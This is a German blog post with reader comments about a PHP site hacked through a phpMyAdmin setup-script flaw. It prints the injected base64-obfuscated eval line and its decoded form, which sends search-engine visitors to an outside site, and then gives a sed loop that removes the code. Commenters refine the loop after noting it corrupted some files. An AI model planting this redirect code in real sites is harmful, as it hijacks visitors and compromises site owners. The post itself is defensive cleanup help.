alolipololi.osa.pl

Holger Quick

Heute wurde eine Webseite von mir über eine Sicherheitslücke im phpMyadmin Setupscript überall mit einem kleine Zusatzheader versehen:

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2Fsb2xpcG9sb2xpLm9zYS5wbC8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCgl9"));

Dekodiert sah das ganze dann so aus:

error_reporting(0); $nccv=headers_sent(); if (!$nccv){ $referer=$_SERVER['HTTP_REFERER']; $ua=$_SERVER['HTTP_USER_AGENT']; if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing")) { if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://alolipololi.osa.pl/"); exit(); } } }

Mit anderen Worten wenn einer über eine Suchmaschine meine Seite besucht hat dann wurde der Besucher auf eine nette polnische Seite umgeleitet.

Da alle meine PHP Scripte von dieser Attacke betroffen waren habe ich kurzerhand ein kleines Bashscript geschrieben das im Rootverzeichniss meiner Webseite auf er Kommandozeile gestartet erfolgreich wieder alles entfernt hat:

for i in `find . -name '*.php'`
do
echo $i
cp -v $i $i.bak
sed 's/eval(base64_decode(".*"));//g' $i.bak > $i
done

10 Comments. Leave new

Danke fürs Script, hat mir Tipparbeit erspart :)

Antworten

Hello,
I have big problem with alolipololi.osa.pl …
please tell me step by step how localized it,thanks…
Jarek

Antworten

Hey Holger
Thanks so much! I had this same problem, and used your code in Terminal on my mac, cleaned up all the infected php files and put them back. i hope i will not be attacked again.
Danke sehr!
-Herman

Antworten

Great command…

– Cheers –

Antworten
Warwick Prince
1. April 2011 01:28

Excellent. Thanks for the info – fixed the problem in minutes. :-)

Antworten

Can anyone please advise how to run that script through SSH ?? I copied that code into a file called fix.sh and placed it on my root folder, but I cannot run it. What would be the exact command to run it? I may get “host key verification failed” when running it, too. Thanks!!

Antworten

Thanks a ton for this. Saved me some time (and probably a minor heart attack)

Small edit to the script:

for i in `find . -name ‘*.php’`
do
echo $i
sed ‘s/eval(base64_decode(“[a-zA-Z0-9\/\+]*”));//g’ $i.bak > $i
done

The “.*” was a little to greedy in my case and messed a few files up. If someone has the same problem, this little script reverts all files from the backed up version

for i in `find . -name ‘*.php.bak’`
do
echo $i
cp -v $i ${i/php.bak/php}
done

Antworten

Edit to the previous edit:
I forgot the line that backs up the existing files, here’s the revisited version:

for i in `find . -name ‘*.php’`
do
echo $i
cp -v $i $i.bak
sed ‘s/eval(base64_decode(“[a-zA-Z0-9\/\+]*”));//g’ $i.bak > $i
done

Antworten

Simon

I can not get this script to run, I have no knowledge of using shell access on my server, Can you walk me through this please?

Antworten

Hinterlasse eine Antwort

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *

Du kannst folgende HTML-Tags benutzen: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>